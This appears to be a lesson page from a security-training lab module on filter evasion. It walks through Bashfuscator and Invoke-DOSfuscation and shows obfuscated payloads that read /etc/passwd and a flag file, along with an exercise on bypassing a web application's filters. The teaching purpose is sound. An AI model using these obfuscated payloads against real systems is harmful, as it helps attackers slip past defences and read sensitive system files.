Evasion Tools

If we are dealing with advanced security tools, we may not be able to use basic, manual obfuscation techniques. In such cases, it may be best to resort to automated obfuscation tools. This section will discuss a couple of examples of these types of tools, one for `Linux` and another for `Windows.`

Linux (Bashfuscator)

A handy tool we can utilize for obfuscating bash commands is Bashfuscator. We can clone the repository from GitHub and then install its requirements, as follows:

```
                                          Evasion Tools
MisaelMacias@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator
MisaelMacias@htb[/htb]$ cd Bashfuscator
MisaelMacias@htb[/htb]$ pip3 install setuptools==65
MisaelMacias@htb[/htb]$ python3 setup.py install --user
```

Once we have the tool set up, we can start using it from the `./bashfuscator/bin/` directory. There are many flags we can use with the tool to fine-tune our final obfuscated command, as we can see in the `-h` help menu:

```
                                          Evasion Tools
MisaelMacias@htb[/htb]$ cd ./bashfuscator/bin/
MisaelMacias@htb[/htb]$ ./bashfuscator -h

usage: bashfuscator [-h] [-l] ...SNIP...

optional arguments:
  -h, --help           show this help message and exit

Program Options:
  -l, --list           List all the available obfuscators, compressors, and encoders
  -c COMMAND, --command COMMAND
                       Command to obfuscate
...SNIP...
```

We can start by simply providing the command we want to obfuscate with the `-c` flag:

```
                                          Evasion Tools
MisaelMacias@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd'

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
 ${*/+27\[X\(} ...SNIP...  ${*~}
[+] Payload size: 1664 characters
```

However, running the tool this way will randomly pick an obfuscation technique, which can output a command length ranging from a few hundred characters to over a million characters! So, we can use some of the flags from the help menu to produce a shorter and simpler obfuscated command, as follows:

```
                                          Evasion Tools
MisaelMacias@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters
```

We can now test the outputted command with `bash -c ''`, to see whether it does execute the intended command:

```
                                          Evasion Tools
MisaelMacias@htb[/htb]$ bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %

root:x:0:0:root:/root:/bin/bash
...SNIP...
```

We can see that the obfuscated command works, all while looking completely obfuscated, and does not resemble our original command. We may also notice that the tool utilizes many obfuscation techniques, including the ones we previously discussed and many others.

> Exercise: Try testing the above command with our web application, to see if it can successfully bypass the filters. If it does not, can you guess why? And can you make the tool produce a working payload?

Windows (DOSfuscation)

There is also a very similar tool that we can use for Windows called DOSfuscation. Unlike Bashfuscator, this is an interactive tool, as we run it once and interact with it to get the desired obfuscated command. We can once again clone the tool from GitHub and then invoke it through PowerShell, as follows:

```
                                          Evasion Tools
PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
```

My Workstation

OFFLINE

▶ Start Instance

∞ / 1 spawns left

```
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*]  Tutorial of how to use this tool            TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY      Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING    Environment variable encoding
[*] PAYLOAD     Obfuscated payload via DOSfuscation
```

We can even use `tutorial` to see an example of how the tool works. Once we are set, we can start using the tool, as follows:

Evasion Tools

```
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERS
```

Finally, we can try running the obfuscated command on `CMD`, and we see that it indeed works as expected:

Evasion Tools

```
C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%

test_flag
```

Tip: If we do not have access to a Windows VM, we can run the above code on a Linux VM through `pwsh`. Run `pwsh`, and then follow the exact same command from above. This tool is installed by default in your `Pwnbox` instance. You can also find installation instructions at this link.

For more on advanced obfuscation methods, you may refer to the Secure Coding 101: JavaScript module, which covers advanced obfuscations methods that can be utilized in various attacks, including the ones we covered in this module.

← Previous   Next →   ✓ Mark Complete & Next